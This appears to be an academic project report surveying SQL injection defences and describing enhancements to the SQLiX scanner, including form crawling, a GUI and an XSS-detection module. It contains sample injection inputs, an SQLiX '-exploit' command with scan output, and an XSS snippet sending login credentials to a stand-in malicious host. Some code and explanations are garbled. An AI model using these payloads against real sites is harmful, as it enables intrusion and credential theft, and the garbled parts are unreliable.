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ABSTRACT
Web sites are dynamic, static, and most of the time a combination of both. Web
sites need protection in their database to assure security. An SQL injection attacks
interactive web applications that provide database services. These applications take user
inputs and use them to create an SQL query at run time. In an SQL injection attack, an
attacker might insert a malicious SQL query as input to perform an unauthorized database
operation. Using SQL injection attacks, an attacker can retrieve or modify confidential
and sensitive information from the database. It may jeopardize the confidentiality and
security of Web sites which totally depends on databases. This report presents a “code
reengineering” that implicitly protects the applications which are written in PHP from
SQL injection attacks. It uses an original approach that combines static as well as
dynamic analysis. [2] In this report, I mentioned an automated technique for moving out
SQL injection vulnerabilities from Java code by converting plain text inputs received
from users into prepared statements. [3]
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1.0. Introduction
In recent years, widespread adoption of the internet has resulted in to rapid
advancement in information technologies. The internet is used by the general population
for the purposes such as financial transactions, educational endeavors, and countless
other activities. The use of the internet for accomplishing important tasks, such as
transferring a balance from a bank account, always comes with a security risk. Today’s
web sites strive to keep their users’ data confidential and after years of doing secure
business online, these companies have become experts in information security. The
database systems behind these secure websites store non-critical data along with sensitive
information, in a way that allows the information owners quick access while blocking
break-in attempts from unauthorized users.
A common break-in strategy is to try to access sensitive information from a database
by first generating a query that will cause the database parser to malfunction, followed by
applying this query to the desired database. Such an approach to gaining access to private
information is called SQL injection. Since databases are everywhere and are accessible
from the internet, dealing with SQL injection has become more important than ever.
Although current database systems have little vulnerability, the Computer Security
Institute discovered that every year about 50% of databases experience at least one
security breach. The loss of revenue associated with such breaches has been estimated to
be over four million dollars. Additionally, recent research by the “Imperva Application
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Defence Center” concluded that at least 92% of web applications are susceptible to
“malicious attack” (Ke Wei, M. Muthuprasanna, Suraj Kothari, 2007).
To get a better understanding of SQL injection, we need to have a good understanding
of the kinds of communications that take place during a typical session between a user
and a web application. The following figure shows the typical communication exchange
between all the components in a typical web application system.
Figure 1: “Web application Architecture “
Source: Gary Wassermann Zhendong Su, Sound and Precise Analysis of Web
Applications for Injection Vulnerabilities, University of California, Davis, 2007
A web application, based on the above model, takes text as input from users to retrieve
information from a database. Some web applications assume that the input is legitimate
and use it to build SQL queries to access a database. Since these web applications do not
validate user queries before submitting them to retrieve data, they become more
susceptible to SQL injection attacks. For example, attackers, posing as normal users, use
maliciously crafted input text containing SQL instructions to produce SQL queries on the
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web application end. Once processed by the web application, the accepted malicious
query may break the security policies of the underlying database architecture because the
result of the query might cause the database parser to malfunction and release sensitive
information.
The goal of this project is to build an automated fix generation method to prevent SQL
injection vulnerability from plain text SQL statements. In an automated method
approach, a server will gather information about previously known vulnerabilities,
specifically SQL statements, generate a patch, and apply patch. The process can be
completed by someone with no security expertise and secure legacy code, which will
allow developers to fix the SQL injection vulnerability.
2.0 Related Work
I reviewed a number of electronic journal articles from IEEE journals and from ACM,
and gathered some information from web sites to gain sufficient knowledge about SQL
injection attacks. Following are the papers from which I covered different important
strategies to prevent SQL injection attacks.
1. From “Using Parse Tree Validation to Prevent SQL Injection Attacks” ACM, I
covered the techniques for sql injection discovery. This paper also covered very well the
SQL parse tree validation that I mentioned in report (Gregory T. Buehrer, Bruce W.
Weide, and Paolo A. G. Sivilotti, 2005)
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2. From “The Essence of Command Injection Attacks in Web Applications” ACM, they
covered the techniques to check and sanitize input query using SQLCHECK, it use the
augmented queries and SQLCHECK grammar to validate query. (Zhendong Su and Gary
Wassermann, 2006)
3. From “Using Automated Fix Generation to Secure SQL Statements” IEEE CNF, they
covered brief background, SQL statement, and vulnerability replacement methods
(Stephen Thomas and Laurie Williams, 2007).
4. From “Automated Protection of PHP Applications against SQL-injection
Attacks” they covered an original method to protect application automatically from SQL
injection attacks. The original approach combines static analysis, dynamic analysis, and
automatic code re-engineering to secure existing properties (Ettore Merlo, Dominic
Letarte, Giuliano Antoniol, 2007).
5. From “Preventing SQL Injection Attacks in Stored Procedures”, they also provided a
novel approach to shield the stored procedures from attack and detect SQL injection from
sit (Ke Wei, M. Muthuprasanna, Suraj Kothari, 2007). This method combines runtime
check with static application code analysis so that they can eliminate vulnerability to
attack. The key behind this attack is that it alters the structure of the original SQL
statement and identifies the SQL injection attack. The method is divided in two phases,
one is offline and another one is runtime. In the offline phase, stored procedures use a
parser to pre-process and detect SQL statements in the execution call for runtime
analysis. In the runtime phase, the technique controlled all runtime generated SQL
queries related with the user input and checks these with the original structure of the SQL
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statement after getting input from the user. Once this technique detects the malicious
SQL statements it prevents the access of these statements to the database and provides
details about attack.
2.1 SQL Injection Discovery Technique:
It is not compulsory for an attacker to visit the web pages using a browser to find if
SQL injection is possible on the site. Generally attackers build a web crawler to collect
all URLs available on each and every web page of the site. Web crawler is also used to
insert illegal characters into the query string of a URL and check for any error result sent
by the server. If the server sends any error message as a result, it is a strong positive
indication that the illegal special meta character will pass as a part of the SQL query, and
hence the site is open to SQL Injection attack. For example Microsoft Internet
Information Server by default shows an ODBC error message if an any meta character or
an unescaped single quote is passed to SQL Server. The Web crawler only searches the
response text for the ODBC messages.
2.2 SQL PARSE TREE VALIDATION:
A Parse tree is nothing but the data structure built by the developer for the parsed
representation of a statement. To parse the statement, the grammar of that parse
statement’s language is needed. In this method, by parsing two statements and comparing
their parse trees, we can check if the two queries are equal. When attacker successfully
injects SQL into a database query, the parse tree of the intended SQL query and the
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resulting SQL query generated after attacker input do not match. The following figure
shows the representation of a parse tree. [4]
Figure 2: A SELECT query with two user inputs
Figure 3: The same SELECT query as in Figure 1, with the user input inserted
In the above parse tree the programmer-supplied portion is hard-coded, and the user-
supplied portion is represented as a vacant leaf node in the above parse tree. A leaf node
must be the value of a literal, and it must be in the position where vacant space is located.
The SQL query for the above parse tree is as below.
SELECT * FROM users WHERE username=? AND password=?.
The question marks are place holders for input leaf nodes. [4]
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2.3 Approach for SQL CHECK:
<%! 
// database connection info 
String dbDriver = "com.mysql.jdbc.Driver"; 
String strConn = "jdbc:mysql://" 
+ "sport4sale.com/sport"; 
String dbUser = "manager"; 
String dbPassword = "athltpass"; 
// generate query to send 
String sanitizedName = 
replace(request.getParameter("name"),"’","’’"); 
String sanitizedCardType = 
replace(request.getParameter("cardtype"), 
"’","’’"); 
String query = "SELECT cardnum FROM accounts" 
+ " WHERE uname=’" + sanitizedName + "’" 
+ " AND cardtype=" + sanitizedCardType + ";"; 
try { // connect to database and send query 
java.sql.DriverManager.registerDriver( 
(java.sql.Driver) 
(Class.forName(dbDriver).newInstance())); 
javaq.sql.Connection conn = 
java.sql.DriverManager.getConnecion( 
strConn, dbUser, dbPassword); 
java.sql.Statement stmt = 
conn.createStatement(); 
java.sql.ResultSet rs = 
stmt.executeQuery(query); 
// generate html output 
out.println("<html><body><table>"); 
while(rs.next()) { out.println("<tr> <td>"); 
out.println(rs.getString(1)); 
out.println("</td> </tr>"); 
}if (rs != null) { rs.close(); 
}out.println("</table> </body> </html>"); 
} catch (Exception e) 
{ out.println(e.toString()); } %> 
Figure 4: A JSP page for retrieving credit card numbers.
Web applications have SQL injection vulnerabilities because they do not sanitize the
inputs they use to construct structured output. Consider the snippet shown in Figure 4.
The code is for an online store. The website provides user input field to allow the user to
keep their credit card information which user can use for future purchases. Replace
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method is used to escape the quotes so that any single quote characters in the input is
considered as a literal and not a string delimiters. Replace method is intended to block
attacks by preventing an attacker from ending the string and adding SQL injection code.
Although, cardtype is a numeric column, if an attacker passes 2 OR 1=1” as the card
type, all account numbers in the database will be returned and displayed. [5]
Figure 5. System architecture of SQLCHECK.
In this approach they track through the program, the substrings receive from user input
and sanitize that substrings syntactically. The aim behind this program is to block the
queries in which the input substrings changes the syntactic structure of the rest of the
query. They use the meta-data to watch user’s input, displayed as ‘_’ and ‘_,’ to mark the
end and beginning of the each user input string. This meta-data pass the string through an
assignments, and concatenations, so that when a query is ready to be sent to the database,
it has a matching pairs of markers that identify the substring from the input. These
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annotated queries called an augmented query. To build a parser for the augmented
grammar and attempt to parse each augmented query Steve [5] use a parse generator.
Query meets the syntactic constraints and considered legitimate if it parses successfully.
Else, it fails the syntactic constraints and interprets it as an SQL injection attack.
The system architecture of the checking system shows in Figure-5. Grammar of
the output language is used to build SQLCHECK and a policy mentioned permitted
syntactic forms, it resides on the web server and taps generated queries. In spite of the
input’s source, each input which is to be passed into some query, gets augmented with the
meta-characters ‘_’ and ‘_,’. Finally application creates augmented queries, which
SQLCHEKCK attempts to parse, and if a query parses successfully, SQLCHECK sends it
the meta-data to the database, else the query get rejected.
3.0 Background for SQL Statement
This section gives a brief idea about the SQL injection vulnerability and a related SQL
injection attacks. SQL injection vulnerability means the combination of dynamic SQL
statement compilation and a weak in input validation. This input validation forces input
to change the structure of a SQL query. Such combinations are generally found in java.
Following example shows the code that initially have plain text SQL statement which
dynamically produces the SQL query based on a variable input (userISBN). Moreover,
without any input verification it creates the SQL query with use of string concatenation.
“Statement stmt =” 
“conn.createStatement();” 
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“ResultSet rs =” 
“stmt.executeQuery(“select amount from” 
“books where isbn = ‘” + userISBN + “’”);” 
 
In this example, by using known keywords from SQL statement, attacker maliciously
tries to update the sensitive information in databases. Here attacker tries to change the
structure of the executable query that system should not allow. Attacker can give the
malicious input values of 111’ OR ‘1’=’1 for user ISBN. The extra “appended OR
‘1’=’1 clause“ turns an entire where clause always true and as a result the query opens up
the SQL statement to fetch and send all results without articulating instead of the result
which was supposed to be send to the user. The attack get success because of OR ‘1’=’1
clause which set the value of where clause true in all conditions. [5]
3.1 SQL Statements
Two types of SQL statements are used to prevent SQL injection attack.
3.1.1 Prepared statements
The statements that have been pre-complied with the SQL query is called as prepared
statement. SQL query is nothing but the plain text representation of the statement written
by programmer while developing database access programmed. Prepared statements in
SQL query binds variables that allow you to put inputs into subsequent queries. In Java
input set method is used to set bind variable such as setString(index, output) call for a
String type output variable. Set methods render the additional security to confirm each
input variable with respect to its declared type. The primary purpose of prepared
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statement is to increase security and efficiency. Prepared statements are built to execute
same statement number of times while compiling the statement. This property is not
available in plain text SQL statement. The functionality of the prepared function is same
as the plain text SQL statements, but the prepared statements have more structured way
than the plain text SQL statements. Manipulation of the structure of the pre-complied
query can prevent using structure handling of the prepared statement, hence preclude
SQL injection vulnerability.
The limitation of the prepared statement is that they can only be created if the
structure of the statement is known before the creation of the statement. Thus the
dynamically created statements can be created with knowing the structure of the
statement which is not possible in prepared statement. Prepared statements are
precompiled, once the statements are built by the Connection object in Java. When all of
the inputs are set into the statement and the statement is executed, it sent to the database.
[7]
3.1.2 Run time automated Statement
The benefit of automated statement is that it checks for vulnerability of SQL queries
dynamically at run time. This method not only totally depend on the prepared statement,
it also validate the SQL code by putting constraints on run time environment to avoid
malicious SQL statement. In this method the proposed solution is to avoid an SQL
injection attack, by analyzing the parse tree of the SQL statement, creating the custom
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validation code, and packaging the susceptible statement in the validation code. [2] In the
run time automated statement Stephen Thomas uses parse trees in a dynamic way to
make the comparison at the run time to find out whether two queries are functionally
identical. The parse tree helps to find out the structure and the input variables of the SQL
statement. [9]
4.0 Vulnerability Reinstatement
To achieve perfect secrecy, we either append the secured SQL statement to the
vulnerable statement or reinstate the whole vulnerable statement. If the database
Connection object is out of scope of execution call then the vulnerable statements are in a
method signature. If the vulnerable statement is in the state of any detectable signature
method then we do not require replacement of the statement. In some cases, if we change
the statements, then we have to change the API too. We can achieve secrecy without
changing or modifying the statement creation code, but to eliminate redundancy in object
we require complete replacement of the plain text SQL statements. In above cases, we
will replace the execution call as
PreparedStatement preparedStmt = Statement.getConnection().prepareStatement(ps 
SQL);  
this is the prepared statement formation call.
Statement: Actual Statement objects in Java code.
PSsql: Generated SQL query with bind variables.
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The formation call helps to prevent SQL injection attack by bypassing the statement
and create the secure “Prepared Statement- based on the SQL statement”. In this way we
can achieve the perfect secrecy, prevent the SQL injection vulnerability, and the SQL
injection attack. [11]
4.1 Model-based guard constructor prevention approach
Model-based guard constructor prevention is an efficient method in preventing an
SQL injection attack. This method is established on breaking the suitable conjunction of
input, code, data, and database access situation that would employ an SQL injection
attack. Spontaneously inserting appropriate guards before allowing the access to the
database, we can avoid an SQL injection attack. As shown in the Figure-6, initially
instrument the PHP string to collect the samples of query which authentically used at
database application program interface call point. These queries are called as a set of
trusted test cases. From the flow of the diagram, we can easily understand the prevention
of an SQL injection attack. Instrumentation is nothing but to add an output instruction
before database application interface calls, as below.
Sql_query(… Expression…); 
After passing this expression through automated approach it becomes:
$string = Expression; 
   fRead($file handle; $string)); 
   $result = sql_query($ string); 
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After running the trusted test cases to gather the plain text strings that are produced
dynamically at various call sites matching to trusted queries. It is a straightforward to
create model guards from sets of ASTs leading to legitimate queries. Justifiable queries
are parsed by automated approach and corresponding “ASTs” is stored for every call site.
To avoid generalization between queries “ASTs” are stored independently. [13]
Figure 6: “Automated Protection” [13]
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ASTs are generalized by type rather than image, because constants, strings and
additional types of data are also stored in the ASTs. On the other hand, application
dependent identifiers, such as the names of the tables, number of columns, and rows, are
counted as a part of syntactic structure of the SQL query which plays crucial role to
prevent malicious substitution of table or column names in the valid queries. Therefore
this method permits number of queries with same syntactic structure, but with different
values of data. Using special call site, model guard invokes the SQL parser on the
database, where we are working currently to and obtains the matching SQL AST. The
formed “AST” is compare with the stored valid “ASTs” for the same call site. If the
match points towards positive result then the current query has a compatible syntactic
structure with the valid query from the trusted set. Only positively equivalent queries are
allowed to be processed in the database application programming interface, and all other
queries are rejected. In this way we prevent the access to the database from crafted
malicious queries.
Generally “ASTs” are stored as images, but it is stored as token strings containing
token types where an application table names and field names have become keywords.
Tables’ names have been stored as identifier token types in local configuration. In the
subsequent section, these token strings called as reference patterns.
An example of trusted query is as below. In this example snooping call at line 333 in
file browse.php is as below.
“SELECT post id” 
“FROM phptb240t posts” 
“WHERE” 
“Poster_id = 5” 
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Where phptb240 posts is a configuration dependent local table names. Poster id is field
names set in application logic.
Reference patterns related to the formerly shown query is as below:
browse:php : 240 
“SELECT POST ID” 
“FROM SQL ID” 
“WHERE” 
“POSTER ID OP EQUAL INTEGER LITERAL” 
From the above example, we can observe that phptb240 posts discerned as an
identifier, and poster id is used as a keyword of an application. Because of same syntactic
structure of a valid query, and changing field names with confidential ones, we must
prevent SQL injection attacks. Post id and poster id in above example can be accessed in
any local configuration of phptb, but they won’t be replaced by other field. Same as
above poster identifier value can only be replaced by an integer value. Susceptible SQL
query statement can be make secure by substituting them with model-based guards that
execute the appropriate checks at every call site and allow an access to the appropriate
database application programming interface while successful checks. We required model-
based guards and the re-engineering of source code to change call from mySql to the
model-based guards”. Figure-7 shows an example of the model-based guard written in
Java.
 21
Figure 7: Conceptual example of model guard in Java. [13]
Giving proper call to the model-based guard, we can protect the application from an
SQL injection attack. Model guard construction is equivalent to the average length of the
SQL queries executed in the test, and number of test cases. Ettore Merlo, Dominic
Letarte, and Giuliano Antoniol used automated construction process for the model-guards
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which is very simple and have an enough scope to make this model more complicated to
increase power of the parsing queries. Model-base guard is much better than the fixed
form per call site method. Model-guard build automatically depends on the dynamic
approximation for security specification. Small number of legitimate queries at a call site
also affects the efficiency of automation. This approach provides a feasible amount of
protection from an SQL injection attack. [13]
4.2 Preventing SQL injection method
Stephen Thomas and Laurie Williams explained in detail about the methods which are
used to prevent an SQL injection attacks. [2]
1) Static analysis
2) Run time analysis
These techniques are based on the stored procedures, Authors’ has used control flow
graph that notifies what user inputs to the dynamic built SQL statement. Control flow
graphs are very useful to minimize the set of SQL statements to verify users input. In run
time analysis we access information about stored statement from Finite State Automaton
to narrow the verification procedure and to indicate the user’s inputs true or false. [2]
4.3 Static analyses of stored procedure
In static analysis authors’ provides the parser called stored procedure parser which is
used to extracts the “control flow graph” from the saved procedures, we can see in detail
about the control graph in following section. At the start, we label every execution
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statement in the control flow graph and then use the backtracking method to verify all
statements participated in the formation of the SQL statement in the control flow graph.
In the SQL graph, statements which are depended on the user’s input are screened and
flags are set on it to monitor their behavior at run time. In this method, using Finite State
Automaton, we compare the statement with dynamically created SQL statement of user
inputs with the original SQL statement. The statement created by user’s input which tries
to change the original pattern of the parser will indicated by flag as dangerous statement
and provides the related information. More than one execution statement may be possible
for single “stored procedure” statement. There are different kinds of procedure statements
available, and only the statements which accept input from user are vulnerable to an SQL
injection attack. Now using SQL control graph we try to optimize the query that need to
process dynamically in order to provide validation. Following figure gives a clear
understanding of static analysis. Four different SQL queries Q1, Q2, Q3, and Q4 are in
the stored procedure shown as nodes within a boundary displayed in dotted circle. I1, I2,
and, I3 are the three different inputs received from users which are from outside of the
logical boundaries. Suppose a user enter the input I in the SQL query Q and the
relationship between input I and query Q is represented by R. D represents the
dependencies in SQL diagram that links the one SQL query to another. The user input ‘I’
accepted by previous query is transfers to another query through the dependency link. In
SQL queries one of these nodes is selected as a representative query and it is considered a
start point to point other queries. Dependency in the figure is shown by directed arrows.
[1] [2]
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Figure 8: SQL- control graph [1]
4.4 Advantages of static analysis
1) SQL graph representation used to reduce the runtime scanning overhead of
program by preventing the number of queries that are not required to execute in
stored procedure.
2) SQL control graph does not include the query which does not take an input from
user.
3) The queries which includes input from user to access the database information are
counted towards SQL control graph representation.
4.5 Dynamic analysis
In dynamic analysis, SQL injection attack checker function is used to categorize the
user input. In this method, author used “current session” identifier to identify the input
taken from user, and using same session id, builds a finite state automaton. Figure 5
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shows the finite state automaton that accepts inputs from user. To check legitimacy of
SQL statement received from user, the SQL statement along with user inputs is compared
with corresponding SQL statement of finite state automaton. If the SQL queries
generated at run time uses the user input is not satisfy the semantics of the intended SQL
queries in the FSA ( Finite State Automata), then these SQL queries are set as SQL
injection attack otherwise these queries should passed to the database access.
Figure 9: SQL Injection Attack Recognition and SQL-FSM Contravention
Hence, we can easily obviate the crafted malicious queries and only permits the
legitimate queries to access databases. Due to use of finite state automata this method
achieves perfect secrecy to screen the legitimate queries. [12]
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5.0 SQLiX – Sql Injection Scanner:
5.1 SQLiX before enhancement:
SQLiX Scanner can be found at the Open Web Application Security Project (OWASP)
site. OWASP is a worldwide free and open community focused on improving the security
of application software. SQLiX is coded in Perl, able to crawl, detect an SQL injection
and identify the back-end database vulnerability. SQLiX uses various Perl modules from
CPAN- CPAN is nothing but the Comprehensive Perl Archive Network. On CPAN, you
can find large amount of Perl software and their documentation so that any coder can use
these libraries and Perl modules in their projects. We will see in more detail about the
Perl modules which are used by SQLiX in Perl module section.
Following are the methods which are used in the original SQLiX:
1) Error Generation: Error generation method is a very simple and is typically depends
on meta characters like single quotes and double quotes.
2) Method blind injection: In Blind SQL injection methods, the web application which
are vulnerable to SQL injection are not visible to an attacker. These attacks are display
differently depending upon the results of a logical statement injected in to the database
3) Statement injection: From the following example you can get clear understanding
about the statement injection method.
The original URL:
0) is http:// localhost/acu/indexacu.php/news.php?id=25.
SQLiX tries to compare the html content of the original request with the following URLs.
i) http://localhost/acu/indexacu.php/news.php?id=25%20or%201=1
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ii) http://localhost/acu/indexacu.php/news.php?id=25%20or%201=0
if the URL i) is provides the same result as a http request 0) and URL ii) does not, the
SQLiX will conclude that SQL injection is possible on the given URL.
Also SQLiX uses multiple methods to determine if the current server-side script is
vulnerable to SQL injection.
1) Conditional errors injection.
2) Blind injection based on integers, strings or statements.
3) MS-SQL verbose error messages.
4) It also able to recognize version of database.
SQLiX has three main APIs which helps to build the various types of SQL attacks. It has
SQLiX.pl is the main file which handles and used to invoke these APIs on every stacked
URL.
From following example you can get clear understanding of the command line usage
Perl SQLiX.pl –crawl=”http://test.acunetix.com” –exploit –
method_taggy –v=5
5.2 Perl Modules Used in SQLiX:
Crawl is the target specification which takes the given URL as a main URL and crawl
through all the web pages and forms available under that URL. The crawl target
specification uses Perl module to crawl.
The crawler needs Spider.pm Perl module to spider through entire web site and collects
all URLs available on the every page and stack in the array for further operation. To fetch
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URL from the pages and forms, SQLiX uses the Mechaniz.pm Perl module. It is the
heart of the tool that plays the crucial role to collect URL for further process. SQLiX use
Checksite.pm module to check and validate the URL available on the each web page of
that site. It first validates the URL and then only stacks it for the further SQL injection
operation. The Spider uses the robot rules mechanism. This means that it will always get
the /robots.txt file from the root of the web server to see if we are allowed (actually "not
disallowed") to access pages as a robot. Spider uses the RobotRule.pm to read the
robot.txt file available on server and according the rules it accesses the URLs on the site.
If owner of the site restrict to crawl some URLs from his site then the owner must write
these URLs in robot.txt file so that nobody can crawl these URLs. That rule is followed
by the all crawler developer.
SQLiX have very interesting and important feature rather than other scanners is of
building your own function. You can build your own function to inject malicious code
into the database and test for different vulnerabilities. This feature is not available in any
other vulnerability scanners available in market. Also instead of giving main URL in
command line interface for crawl, you can list the number of Main URLs which you wish
to crawl in one file and then call that file.
Exploit option is used to attack one of the vulnerabilities which were found in the
injection attack and will try to extract information. By default shows the version of the
database.
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V is the option used to display the debug message and information about the
vulnerabilities. It has different value of verbosity for minimum information display and
maximum debug information about the all URLs from 0 to 5.
Here is the output of the SQLiX using command line interface:
C:\SQLix\SQLiX_v1.0> 
C:\SQLix\SQLiX_v1.0>perl SQLiX.pl -crawl="http://test.acunetix.com" -all -exploit -v=2 
====================================================== 
                   -- SQLiX -- 
 ⌐ Copyright 2006 Cedric COCHIN, All Rights Reserved. 
====================================================== 
 
Analysing URI obtained by crawling [http://test.acunetix.com] 
  http://test.acunetix.com/ 
  http://test.acunetix.com/privacy.php 
  http://test.acunetix.com/userinfo.php 
  http://test.acunetix.com/login.php 
  http://test.acunetix.com/signup.php 
  http://test.acunetix.com/AJAX/index.php 
  http://test.acunetix.com/guestbook.php 
  http://test.acunetix.com/cart.php 
  http://test.acunetix.com/disclaimer.php 
  http://test.acunetix.com/artists.php 
  http://test.acunetix.com/comment.php?aid=3 
         [+] working on aid 
                 [+] Method: MS-SQL error message 
                 [+] Method: SQL error message 
                 [+] Method: MySQL comment injection 
                         [ERROR] Parameter doesn't impact content 
                 [+] Method: SQL Blind String Injection 
                         [ERROR] Parameter doesn't impact content 
  http://test.acunetix.com/artists.php?artist=3 
         [+] working on artist 
                 [+] Method: MS-SQL error message 
                 [+] Method: SQL error message 
                 [+] Method: MySQL comment injection 
                         [FOUND] MySQL Comment based injection (integer based) 
                         [FOUND] MySQL comment injection 
  http://test.acunetix.com/listproducts.php?artist=3 
         [+] working on artist 
                 [+] Method: MS-SQL error message 
                 [+] Method: SQL error message 
                         [WARNING] Match found in reference(NULL) - You have an 
error in your SQL syntax 
                         [INFO] Error with quote 
                         [INFO] Current function: version() 
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                         [INFO] length: 255 
 
                         [FOUND] SQL error message 
  http://test.acunetix.com/comment.php?aid=2 
         [+] working on aid 
                 [+] Method: SQL Blind Integer Injection 
                         [ERROR] Parameter doesn't impact content 
                 [+] Method: SQL Blind Statement Injection 
                         [ERROR] Parameter doesn't impact content 
                 [+] Method: SQL Blind String Injection 
                         [ERROR] Parameter doesn't impact content 
   
 
RESULTS: 
The variable [artist] from [http://test.acunetix.com/artists.php?artist=3] is vu 
lnerable to SQL Injection [Comment without quotes - MySQL]. 
The variable [artist] from [http://test.acunetix.com/listproducts.php?artist=3] 
is vulnerable to SQL Injection [Error message (NULL) - MySQL]. 
The variable [pic] from [http://test.acunetix.com/product.php?pic=7] is vulnerab 
le to SQL Injection [Comment without quotes - MySQL]. 
The variable [cat] from [http://test.acunetix.com/listproducts.php?cat=4] is vul 
nerable to SQL Injection [Error message (NULL) - MySQL]. 
From output you can get idea that how SQLiX collect the all URLs from the web site and
detect vulnerable URLs which are susceptible for SQL Injection attack.
6.0 Enhancements in SQLiX:
6.1 What I achieved?
Three major challenging enhancements that I have completed successfully in this project
i) Enhanced the crawler to handle HTTP post method and fills forms automatically.
ii) Created Graphical User Interface (GUI) for SQLiX.
iii) Added a Module to Detect Cross Site Scripting (XSS) attacks.
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6.2 SQLiX HTTP Post Method and fill form automatically:
Enhance the crawler to handle HTTP Post Method and fill the forms available on the
webpage is one of the toughest and critical mile stone in my project. This enhancement
made the SQLiX more powerful than earlier one.
6.2.1 Working:
After enhancement, crawler is able to handle the HTTP Post method request. Crawler
also able to detects and fills the forms available on the current web page. After detecting
the forms on the current web page, my code checks the input type, name of input type
and type of input type of every field of the form. In next step my code fills the dummy
data in each field of the form according to their type. Once it done with filling the dummy
data in a form the $response = $ua->request($form->click) function submit the data in
database and generates the content. Content is nothing but the link created from form’s
all field name and dummy data corresponding to it. Finally in the last step my code
passes this content to the main SQLiX .pl program to make different combination of the
original URL for that particular form. Now injection step starts and control will be
handed over to the all different method which injects all combination of URLs in to the
database to get some unauthorized information. Now the power of SQLiX of injecting
number of injection in the database is increased drastically, because it applies injection
method for each and every field of form instead of applies only on main URL.
To implement this module I used following CPAN Perl modules.
i) LWP user agent
ii) Html::parse
 32
iii) Html::Form
LWP user agent is the Perl module used to implement user agent. Actually UserAgent is
the class and I am using its objects to dispatch web request. Basically, in general
application creates an LWP::UserAgent object, and then configures that object with
parameters, then it create an instance of HTTP::Request for the request the needs to be
performed. This request is then passed to one of the request method of the UserAgent.
UserAgent then get back to you in the form of HTTP::Response object. There are three
convenient methods for sending and receiving common requests: GET ( ), POST ( ) and
HEAD ( ). These methods do the creation of the request object hidden. To feel every
communication as http style this library constructs HTTP::Request object and
HTTP::Response object even for non-HTTP resource.
The following constructor methods are available to create object:
$ua = LWP::UserAgent->new (%options)
This method constructs a new LWP::UserAgent object and returns it. You need to provide
key/value pair arguments to set up the initial state. Now $ua is the handler for the object
of LWP::UserAgent.
6.2.2 HTML Parser:
HTML Parser module is used to create object that will recognize and differentiate the
markup and plain text in the html documents. The objects of this class recognize the
different kinds of markup and text and invoke the corresponding event handlers. The
document that you need to pass can be passed in arbitrary chunks. I will pass the URLs
which are stacked by the crawler. And the parse the given URL and separate the
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markup and text from html. After it stack the all markup in local array that array will use
for the next Perl module that is HTML Form.
6.2.3 HTML Form:
The object of HTML Form class has a single instance i.e. HTML<form>…</form>.
Generally form consists of number of input types that usually have names, and which can
have a various attributes and values. The state of a form can be pull off and then calls to
provide HTTP::Request object which can be passed to the method called request( ) of
LWP::UserAgent. Following are the methods available:
@forms = HTML::Form->parse( $response )  
@forms = HTML::Form->parse( $html_document, $base )  
@forms = HTML::Form->parse( $html_document, %opt )  
An HTML document will parse and create HTML::Form objects for every form element
variable in that document using paser() class method. If you called this method in scalar
context only returns the first form, and return empty list there is no form found. The
variable $base is used as URI to retrieve the $html_document. If you retrieve this
document using LWP then this parameter of HTML::Form obtained from the $response-
>bas() method shown as above.
Here is the little snippet that I used to retrieve content of the forms.
use LWP::UserAgent; 
use HTML::Form; 
 
    my $ua = LWP::UserAgent->new; 
    my $response = $ua->get("http://www.tizag.com/htmlT/forms.php"); 
  #my $response = $ua->get("http://localhost/form.php"); 
    my @forms = HTML::Form->parse($response);    
    foreach (@forms) 
    { 
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        my $form = $_; 
            print stdout "Form :"; 
            print stdout "\n";            
            my @inputs = $form->inputs;            
            foreach (@inputs) 
            { 
                my $input = $_; 
                print STDOUT $input->type; 
                print " : " , $input->name; 
                print stdout "\n"; 
            } 
            print stdout "\n"; 
            print stdout "\n";            
    } 
 
 
7.0 SQLiX GUI:
SQLiX had no GUI; the user had to remember all the option. As it has long list of
options, it is very cumbersome if you have to attack a site with maximum set.
For the file option to specify the target URL, the user can directly select file from File
Chooser Dialog. Through the GUI user can select the options directly. The output of the
attack can be saved to a specified file. Below are the snap-shots of the application.
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Figure 10: GUI before scanning starts
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Figure 11: While scanning for root url http://test.acunetix.com.
From above screen shot it is clear that new user doesn’t need to remember any option.
He/She can do different kind of testing by selecting various options from the GUI
interface. Progress bar show the status of scanning which is not able to predict in
command line.
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Figure 12: After Scan result will show in right hand side window.
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8.0 Cross Site Scripting (XSS):
Cross Site Scripting is one of the most common application layer attacks. XSS
targets the scripts, which are the part of web page and are executed on the Clint-side
instead of the server-side. Cross-site scripting attacks can occur wherever a user has the
ability to publish content to a trusted web site. A malicious user can craft a client-side
script, which performs some activity such as sending all sensitive information available
on current browser to the particular email address. If this script seems to be legitimate
and input is unchecked, this script will be loaded and run by each user visiting the web
site. Attacker can do different kinds of attacks using XSS. Such as running “Active X”
control from sites that is thought as trustworthy. Attacker can also submit the XSS script
which attracts the user attention. Attackers use the scripts such as below.
<form> action="logoninformation.jsp" method="post"  
    onsubmit="hackImg=new Image; 
hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ 
document.forms(1).password.value;"  
</form> 
This script is used to steal login information of the user.
Attacker inserts the script on the web site and when any attracted user hits the link , the
script gets executed and sends login information of the site targeted in the script.
Now the attacker has to go of the targeted site for retrieving the login information. [17]
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8.1 Type of XSS:
There are two major types of XSS.
i) Non-permanent XSS: For non-permanent XSS attacks require a user to visit a link
which attracts the user’s attention and are crafted with malicious code. Upon
visiting such links, the code inserted in the URL will be print and executed on the
victim’s web browser.
ii) Permanent XSS: This kind of XSS also called as stored vulnerability, and it is
more dangerous then non-permanent XSS. In permanent XSS first the data provided
by user is stored on server permanently, and the malicious user stores the malicious
scripting code on the server. Generally they stored such kind of data through
comment form or suggestion form. When the normal user search for other user’s
opinion about particular issue and if the malicious script gets retrieved from the
server then it gets executed on victim’s web browser. Depending on the intensity of
script it affects victim’s computer. [19]
8.2 What I did in SQLiX to detect XSS Vulnerabilities:
To detect the XSS from the given web site I added the two functions to the SQLiX that
are as below:
i) SET XSS
ii) ATTACK XSS
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SET XSS function is use to take the stack of URLs from the buffer and just hand over to
the Attack XSS function. It is an important function which uses the payload and tries
different attacks on the list of URLS. If any one of the test case from the payload get
succeed then the given URL is vulnerable to XSS attack.
8.3 How does it work:
The script uses Web spider library to check the rules mentioned below.
The script scans the web pages and searches for scripts and forms where it can inject
data.
The site is vulnerable for the following conditions
i) Checks whether a script allows http upload.
ii) When the return code is http 500
8.4 Small snippet of added code for the ATTACK XSS and explanation:
XSS Attack: 
def attackXSS(self,page,dict): 
 if dict=={}: 
   err="" 
   payload="<script>var SQLiX_" 
   payload+=page.encode("hex_codec") 
   payload+="_" 
 
   payload+="QUERYSTRING".encode("hex_codec") 
   payload+="=new Boolean();</script>" 
